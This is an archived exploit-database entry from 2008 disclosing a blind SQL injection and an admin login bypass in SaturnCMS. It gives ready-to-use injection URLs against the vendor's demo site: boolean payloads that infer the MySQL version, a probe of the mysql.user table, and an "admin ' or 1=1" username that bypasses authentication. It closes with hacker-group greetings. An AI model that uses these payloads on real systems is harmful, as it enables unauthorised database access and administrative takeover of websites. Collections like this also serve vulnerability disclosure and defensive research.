SaturnCMS - Blind SQL Injection

EDB-ID:

7147


Author:

Hussin X

Type:

webapps


Platform:

PHP

Date:

2008-11-17


Become a Certified Penetration Tester

Enroll in Penetration Testing with Kali Linux and pass the exam to become an Offensive Security Certified Professional (OSCP). All new content for 2020.

GET CERTIFIED

SaturnCMS (view)  Blind SQL Injection Vulnerability
___________________________________

Author: Hussin X

Home :IQ-SecuriTY >   www.IQ-TY.com   |  TrYaG > www.TrYaG.cc

Mail :  darkangel_G85@yahoo.com

___________________________________

script  : http://www.saturncms.com/download

Demo :
_______

http://demo.saturncms.com/gallery/web/view/22`

true & false

http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=5
http://demo.saturncms.com/gallery/web/view/22+and+substring(@@version,1,1)=4
Version = 5  :) 
Table
http://demo.saturncms.com/gallery/web/view/22+and+(SELECT 1 from mysql.user limit 0,1)=1


Auth Bypass
_______

http://demo.saturncms.com/admin
Username : admin ' or 1=1

Password : milw0rm







____________________________( Greetz )_________________________________
|
|   All members of the Forum| WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr | Sakab
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | G4N0K|
|_____________________________________________________________________


                             IM IraQi    |       IM TrYaGI 

# milw0rm.com [2008-11-17]